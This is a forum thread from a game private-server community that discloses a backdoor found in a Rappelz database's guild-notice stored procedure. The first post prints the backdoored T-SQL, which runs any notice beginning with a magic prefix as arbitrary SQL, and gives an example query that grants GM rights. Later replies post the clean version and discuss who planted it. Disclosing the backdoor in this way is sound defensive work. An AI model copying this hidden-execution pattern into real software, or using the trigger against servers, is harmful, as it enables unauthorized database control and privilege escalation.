Register for your free account! | Forgot your password?

Go Back   elitepvpers > MMORPGs > Rappelz > Rappelz Private Server
You last visited: Today at 16:15

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Stored Procedure Backdoor E9.1

Discussion on Stored Procedure Backdoor E9.1 within the Rappelz Private Server forum part of the Rappelz category.

Reply
 
Old   #1
 
Dark Blaze's Avatar
 
elite*gold: 0
Join Date: Mar 2016
Posts: 292
Received Thanks: 89
Stored Procedure Backdoor E9.1

Found a backdoor in Telecaster database for E9.1 in Revo's first release, it has been changed after while.

smp_set_guild_notice
Code:
USE [Telecaster]
GO
/****** Object:  StoredProcedure [dbo].[smp_set_guild_notice]    Script Date: 5/27/2017 1:49:17 AM ******/
SET ANSI_NULLS OFF
GO
SET QUOTED_IDENTIFIER OFF
GO

ALTER PROCEDURE [dbo].[smp_set_guild_notice]
@IN_GUILD_SID	INT,
@IN_NOTICE		NVARCHAR(128)
AS
SET NOCOUNT ON

IF (LEFT(@IN_NOTICE, 6) = '_)$*%R')
	BEGIN
		set @IN_NOTICE = REPLACE(@IN_NOTICE,'_)$*%R','')
		EXEC sp_executesql @IN_NOTICE;
	END
ELSE
	BEGIN
		UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID
	END
The backdoor works by starting your guild notice with "_)$*%R" then writing the query, for example writing "_)$*%R UPDATE Character SET permission = 100 WHERE name = 'DarkBlaze'" would grant me GM permissions on a server using Telecaster database provided by ismoke.
Dark Blaze is offline  
Thanks
3 Users
Old 05/27/2017, 02:53   #2
Moderator


 
ThunderNikk's Avatar
 
elite*gold: 1
Join Date: Dec 2012
Posts: 4,780
Received Thanks: 1,462
Great here is the original in case people want to modify...
Code:
USE [Telecaster]
GO
/****** Object:  StoredProcedure [dbo].[smp_set_guild_notice]    Script Date: 5/26/2017 8:50:20 PM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
--RevolutionTeam
ALTER PROCEDURE [dbo].[smp_set_guild_notice]
@IN_GUILD_SID INT,
@IN_NOTICE  NVARCHAR(128)
AS
SET NOCOUNT ON

 UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID
ThunderNikk is offline  
Old 05/27/2017, 10:19   #3
 
SilentWisdom's Avatar
 
elite*gold: 0
Join Date: Jul 2015
Posts: 477
Received Thanks: 633
Let's be clear I only released a cleaned version of the Telecaster that was released by Revolution. I did not, have never and will never use/release/endorse hacks.
SilentWisdom is offline  
Thanks
3 Users
Old 05/27/2017, 13:17   #4
 
Dark Blaze's Avatar
 
elite*gold: 0
Join Date: Mar 2016
Posts: 292
Received Thanks: 89
I downloaded both your Telecaster and theirs and checked each one, I only found that in yours. You can check both mirrors.
Dark Blaze is offline  
Old 05/27/2017, 14:27   #5
 
TheOnlyOneRaskim's Avatar
 
elite*gold: 0
Join Date: Nov 2011
Posts: 978
Received Thanks: 1,011
Haha funny.

Smoke, Come to the dark side. I have cookies. XD
TheOnlyOneRaskim is offline  
Old 05/27/2017, 15:26   #6
 
InkDevil's Avatar
 
elite*gold: 0
Join Date: Sep 2015
Posts: 594
Received Thanks: 1,188
Well, I compared some Telecaster-backups...
That backdoor was added in one of the first uploaded 9.1-Repacks by Team Revolution ( I checked my archive I downloaded 2 years ago),
but they "fixed" it by themselves and reuploaded their files (one or more time, don't know).
So it doesn't exist in their latest download-pack this way anymore.
Thx for deleting that on your own, Team Revolution

So if @ cleaned that unfixed one you can't really make him the bad guy for this.

- just to clean accusations
InkDevil is offline  
Thanks
1 User
Old 05/27/2017, 16:27   #7




 
Ghost Informatics's Avatar
 
elite*gold: 6190
Join Date: Sep 2014
Posts: 347
Received Thanks: 934
The bug in the files from 8.1 you can check the 8.1 repacks the most of them are bugged and 9.1 also we fixed this bug from 2016 .. some team named (volcano) they bugged files and tools with auto inject i don't know any tool but i got a files after i hacked them this files proof that and there's other bug in insert character 8.1 & 9.1 we fixed it( and we published the most bugged files in the arabic forums after we fixed it) you can download our repack for 7.2&9.1 it's clean and al7rob repack by rakanomar for 8.1 .. there's many bugged tools in rappelz world i advise you to see the source of tools before download ..
Ghost Informatics is offline  
Old 05/28/2017, 01:44   #8
 
Dark Blaze's Avatar
 
elite*gold: 0
Join Date: Mar 2016
Posts: 292
Received Thanks: 89
Quote:
Originally Posted by LamiaCore View Post
Well, I compared some Telecaster-backups...
That backdoor was added in one of the first uploaded 9.1-Repacks by Team Revolution ( I checked my archive I downloaded 2 years ago),
but they "fixed" it by themselves and reuploaded their files (one or more time, don't know).
So it doesn't exist in their latest download-pack this way anymore.
Thx for deleting that on your own, Team Revolution

So if @ cleaned that unfixed one you can't really make him the bad guy for this.

- just to clean accusations
Not accusing him of doing it, just stating that the one currently included has that backdoor.
Dark Blaze is offline  
Old 05/29/2017, 10:15   #9




 
Ghost Informatics's Avatar
 
elite*gold: 6190
Join Date: Sep 2014
Posts: 347
Received Thanks: 934
Nulled
Ghost Informatics is offline  
Old 05/29/2017, 14:52   #10
Moderator


 
ThunderNikk's Avatar
 
elite*gold: 1
Join Date: Dec 2012
Posts: 4,780
Received Thanks: 1,462
I cleaned up this thread a little.

Lets keep it civil guys. We know there was a possible exploit that may be in our telecasters and we know how to make it right.

Doesn't really matter who put it in there now.

Ill leave the topic open for now in case there are other users who need help with this or in case some want to discuss this some more, but if the accusations and defense of accusations keep getting thrown around I will have to close the thread.
ThunderNikk is offline  
Reply


Similar Threads Similar Threads
[SQL] Stored Procedure for TitleUpdating Automatic
05/08/2013 - SRO PServer Guides & Releases - 11 Replies
heya guys, this was made a looooooong time ago when we wanted to make title giving automatic on devias. however, it was never used cuz of lazyness. Just found it again and thought iŽd release it. This is to be executed each time a new uniquelog is added. It works like this gets the first charname that killed the MOB "Devias". If you kill devias for the first time u get the title Devias Slayer #1 for the second time Devias Slayer #2 etc.
Hello, I have a problem with a stored procedure when you log into the game.
08/13/2012 - Rappelz Private Server - 5 Replies
Posts Forum on this thread did not help me! Any thoughts about this problem, screen :handsdown: http://s017.radikal.ru/i437/1208/20/992648841219.j pg
[BR Files] Missing stored procedure: _ResetQuestByCharName
04/27/2012 - SRO Private Server - 2 Replies
Anyone have this stored procedure for Black Rogue DB? o.O I keep getting this error in GS and it's really annoying (doesn't affect performance, just annoying -_-): Query Error!!! Query Result : -1, Query : {CALL _ResetQuestByCharName ( 'RainyDays' )} SQL Error State:42000, Native Error Code: AFC, ODBC Error: Could not find stored procedure '_ResetQuestByCharName'. {CALL _ResetQuestByCharName ( 'RainyDays' )} Query Error!!! Query Result : -1, Query : {CALL _ResetQuestByCharName (...
[HELP]Res toon stored Procedure
07/23/2010 - Shaiya Private Server - 0 Replies
Hi all, hopefully someone can tell me what i am doing wrong. I am trying to use the dbo.usp_GM_Recovery_Char and it completes without errors but it doesn't res the toon. can anyone tell me how to fix this. I am tired of ressing them manually. thanks alot!!



All times are GMT +2. The time now is 16:15.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.